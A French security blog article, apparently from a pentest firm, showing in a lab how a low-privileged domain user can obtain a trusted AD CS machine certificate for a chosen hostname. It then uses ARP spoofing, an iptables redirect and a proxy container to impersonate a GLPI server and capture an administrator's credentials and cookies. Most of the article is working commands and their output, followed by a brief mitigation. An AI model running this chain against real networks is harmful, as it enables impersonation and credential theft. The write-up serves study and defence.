TLDR

Dans un environnement Active Directory, il est possible de générer des certificats arbitraires, pour le domaine. Pour cela, il suffit de créer un compte machine, puis de générer un certificat à partir du template Machine du service ADCS.

Objectif

Il peut être intéressant, lors d’un pentest ou d’une opération de red team, de contrôler un certificat HTTPS valide au sein du domaine. Cette primitive facilite la mise en œuvre de campagnes de phishing ou d’attaques de type man-in-the-middle. L’article explorera ces possibilités en mettant en place un faux service GLPI afin de compromettre la session d’un utilisateur privilégié.

Génération d’un certificat

Par défaut, lors de la mise en place d’ADCS, il est possible de générer des certificats pour différents comptes machine.
Le système de permissions est géré par des modèles (templates), qui permettent de définir quelles entités peuvent demander des certificats, ainsi que les capacités et caractéristiques de ces derniers.

Tout en opérant avec un utilisateur ne disposant d’aucun droit particulier, il est possible de récupérer les modèles disponibles lors des phases de reconnaissance.

Seuls trois modèles sont utilisables dans un état par défaut :

  • un pour les comptes machine ;

  • deux pour les comptes utilisateurs.

Dans la suite de cet article, seul le template Machine sera utilisé. Certipy peut être utilisé pour obtenir des informations sur le modèle souhaité :

$ certipy find  -u 'klemou@lab.local' -p 'Qwertyuiop123' -target-ip 25.25.25.100

    Template Name                       : Machine
    Display Name                        : Computer
    Certificate Authorities             : lab-ADCS-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDnsAsCn
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Private Key Flag                    : AttestNone
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Domain Computers
                                          LAB.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : LAB.LOCAL\Enterprise Admins
        Write Owner Principals          : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
        Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
        Write Property Principals       : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins

Par défaut, un utilisateur standard peut créer jusqu’à 10 comptes machine (MachineAccountQuota). Ainsi, même un simple utilisateur peut prendre le contrôle d’un compte machine et requêter le template Machine.

La création d’un compte machine peut être réalisée via Impacket, grâce au script addcomputer.py.

$ addcomputer.py -dc-ip 25.25.25.100 -computer-name 'ACCEIS$' -computer-pass 'Qwertyuiop123' 'lab.local/klemou:Qwertyuiop123' -method LDAPS

Lors de la création du compte machine, le champ dNSHostName est automatiquement créé. Il est composé du sAMAccountName sans le $ avec le FQDN du domaine. Le champ est contraint par le sAMAccountName et doit donc être modifié conjointement.

Le LDAP est automatiquement provisionné quand le compte machine est ajouté de manière traditionelle. Attention, avec la méthode SAMR (SMB) de addcomputer.py les champs ne sont pas ajoutés automatiquement, il faut donc le faire (la manipulation est détaillée plus bas).

$ certipy account -dc-ip 25.25.25.100 -user ACCEIS\$ -u 'ACCEIS$@lab.local' -p 'Qwertyuiop123' update -dns acceis.lab.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ACCEIS$':
    dNSHostName                         : acceis.lab.local
[*] Successfully updated 'ACCEIS$'

Après l’ajout du nom de domaine comme attribut dans l’annuaire LDAP, il est possible de générer un certificat pour le compte machine via le service ADCS.

$ certipy req -target-ip 25.25.25.150 -ca 'lab-ADCS-CA' -u 'ACCEIS$@lab.local' -p 'Qwertyuiop123' -template Machine
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate with DNS Host Name 'acceis.lab.local'
[*] Certificate object SID is 'S-1-5-21-3201553823-3728675080-3309118839-1112'
[*] Saved certificate and private key to 'acceis.pfx'

Le certificat est fourni au format PFX et nécessite une manipulation afin d’extraire le certificat et la clé privée au format PEM. La conversion a pour but de faciliter son utilisation ultérieurement.

$ certipy cert -pfx acceis.pfx   -nokey -out acceis.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'acceis.crt'

$ certipy cert -pfx acceis.pfx   -nocert -out acceis.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'acceis.key'

L’extraction des informations du certificat peut être réalisée via Openssl. Ainsi, on peut consulter des données essentielles telles que le Subject Alternative Name. Le Subject Alternative Name (SAN) est particulièrement intéressant, car il permet aux navigateurs de vérifier le nom de domaine.

$ openssl x509 -in acceis.crt -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            1e:00:00:00:0d:fb:bb:73:6b:5d:2f:8a:f4:00:00:00:00:00:0d
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=local, DC=lab, CN=lab-ADCS-CA
        Validity
            Not Before: Dec  4 08:28:06 2024 GMT
            Not After : Dec  4 08:28:06 2025 GMT
        Subject: CN=acceis.lab.local
        Subject Public Key Info:
            <redacted>
        X509v3 extensions:
            <redacted>
            X509v3 Extended Key Usage: 
                TLS Web Client Authentication, TLS Web Server Authentication
            X509v3 Subject Alternative Name: 
                DNS:acceis.lab.local
            Microsoft NTDS CA Extension: 
                0@.>.
+.....7....0..S-1-5-21-3201553823-3728675080-3309118839-1112
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        <redacted>

Le certificat à disposition est valide pour le nom de domaine acceis.lab.local.De plus l’autorité de certification (CA) est déjà installée sur toutes les machines du domaine, ce qui permet d’utiliser ce certificat, qui est donc reconnu et valide, pour des opérations de phishing en interne. En outre, les utilisateurs peuvent par défaut créer des enregistrements DNS, rendant ainsi possible la mise en place d’un site entièrement fonctionnel. Pour cela, il suffit de créer une entrée A associant une IPv4 à un nom de domaine.

$ python dnstool.py  --zone lab.local -u lab.local\\ACCEIS\$ -p 'Qwertyuiop123' -dc-ip 25.25.25.100 -a add -r acceis.lab.local -t A -d 25.69.69.1 25.25.25.100
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Add record
[+] LDAP operation completed successfully
$ dig A acceis.lab.local @25.25.25.100 +short
25.69.69.1

Il est ainsi possible d’utiliser un certificat associé à un compte machine pour obtenir un certificat web valide. Cependant, le nom de domaine contrôlé ne doit pas déjà être présent dans le DNS ni attribué à des machines existantes.

Exemple d’attaque man-in-the-middle

La section suivante illustre un exemple d’attaque en réutilisant les concepts abordés précédemment. Pour cela, un réseau Active Directory comprenant trois machines sur le sous-réseau 25.25.25.0/24, ainsi qu’un attaquant directement connecté au même réseau a été mis en place.

ADDS.lab.local : 25.25.25.100
ADCS.lab.local : 25.25.25.150
WEB.lab.local  : 25.25.25.151

Il n’est pas possible de créer une entrée DNS glpi.lab.local qui pointe sur la machine de l’attaquant, en effet, l’entrée existe déjà pour le service légitime. Il est cependant possible d’obtenir un certificat pour ce domaine.

La suite de l’attaque nécessitera de se positionner en man-in-the-middle entre le serveur web (WEB.lab.local) et le contrôleur de domaine (ADDS.lab.local), afin de récupérer les identifiants de l’administrateur du GLPI via un service malveillant possédant le certificat légitime. En effet, GLPI est un service de gestion de tickets couramment utilisé sur les réseaux internes. Il constitue une cible privilégiée pour un attaquant, car de nombreux secrets et identifiants y sont souvent stockés. L’URL légitime de ce GLPI est la suivante : https://glpi.lab.local .

Mise en place des prérequis

Dans un premier temps, il est nécessaire de créer un compte machine nommé glpi .

$ addcomputer.py -dc-ip 25.25.25.100 -computer-name 'GLPI$' -computer-pass 'Qwertyuiop123' 'lab.local/klemou:Qwertyuiop123'
Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account GLPI$ with password Qwertyuiop123.

La création de ce compte machine ainsi nommé, permet d’ajouter l’attribut dNSHostName (DNS) dans l’annuaire LDAP. Cette opération est toutefois soumise à la contrainte du format SamAccountName.domaine, ce qui implique qu’ici le nom complet sera GLPI.lab.local.

$ certipy account -dc-ip 25.25.25.100 -user GLPI\$ -u 'GLPI$@lab.local' -p 'Qwertyuiop123' update  -dns glpi.lab.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'GLPI$':
    dNSHostName                         : glpi.lab.local
[*] Successfully updated 'GLPI$'

Ce certificat possède, en tant que Subject Alternative Name, l’attribut dNSHostName précédemment ajouté dans l’annuaire LDAP. Le certificat est obtenu au format PFX, regroupant à la fois le certificat et la clé privée.

Le certificat et la clé privée seront utilisés ultérieurement dans un conteneur Apache.

$ certipy req -target-ip 25.25.25.150 -ca 'lab-ADCS-CA' -u 'GLPI$@lab.local' -p 'Qwertyuiop123' -template Machine
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with DNS Host Name 'glpi.lab.local'
[*] Certificate object SID is 'S-1-5-21-3201553823-3728675080-3309118839-1113'
[*] Saved certificate and private key to 'glpi.pfx'

$ certipy cert -pfx glpi.pfx  -nocert -out glpi.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'glpi.key'
$ certipy cert -pfx glpi.pfx  -nokey -out glpi.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'glpi.crt'

Les éléments nécessaires sont réunis pour mettre en place le service malveillant. La seconde étape consiste à obtenir une position de man-in-the-middle entre le contrôleur de domaine et le serveur web hébergeant GLPI. La mise en place du mitm est réalisée classiquement via ARP spoofing, redirigeant ainsi le trafic entre 25.25.25.100 (ADDS.lab.local) et 25.25.25.151 (WEB.lab.local) vers la machine de l’attaquant. Toutefois, l’attaquant doit impérativement se trouver sur le même LAN de par les contraintes de l’ARP spoofing

$ arpspoof -i eth0 -t 25.25.25.100 -r 25.25.25.151

Maintenant que le flux passe de manière transparente par la machine de l’attaquant, il est nécessaire d’ajouter une règle iptables pour rediriger les paquets TCP en direction de 25.25.25.151 sur le port 443 vers notre conteneur. Pour ce faire, la règle suivante est mise en place :

$ iptables -t nat -A PREROUTING -i 'eth0' -p tcp -d 25.25.25.151/32 --dport 443 -j REDIRECT --to-port 443

Le conteneur exécuté sur le port 443/tcp, est un serveur web Apache qui sert de proxy afin de renvoyer les paquets vers le serveur légitime. Exemple de conteneur fonctionnel.

Le conteneur nécessite un certificat et une clé valide (fournis via un point de montage), ainsi que l’adresse IP du serveur web légitime et son enregistrement DNS. Les requêtes seront affichées sur la sortie standard.

$ cp glpi.crt ./certs/cert.crt
$ cp key.key ./certs/key.key
$ docker run --rm -it -v ./certs/:/certs -eTARGETIP=25.25.25.151 -eDNSNAME=glpi.lab.local  apache_mitm

Déroulement de la compromission

L’administrateur s’authentifie de manière traditionnelle sur son instance GLPI.

L’attaquant récupère alors les identifiants de connexion ainsi que les cookies de l’administrateur.

Il est donc possible d’usurper un site web à condition qu’aucune machine n’utilise le même nom (sans le domaine).

Comment éviter cette attaque

L’attaque exploite une vulnérabilité inhérente au système de certificats machine de Microsoft. Toutefois, il est possible de complexifier considérablement son exécution en abaissant la valeur du MachineAccountQuota à 0. Cette mesure empêche les utilisateurs du domaine de créer arbitrairement de nouveaux comptes machine, réduisant ainsi la surface d’attaque.

Sources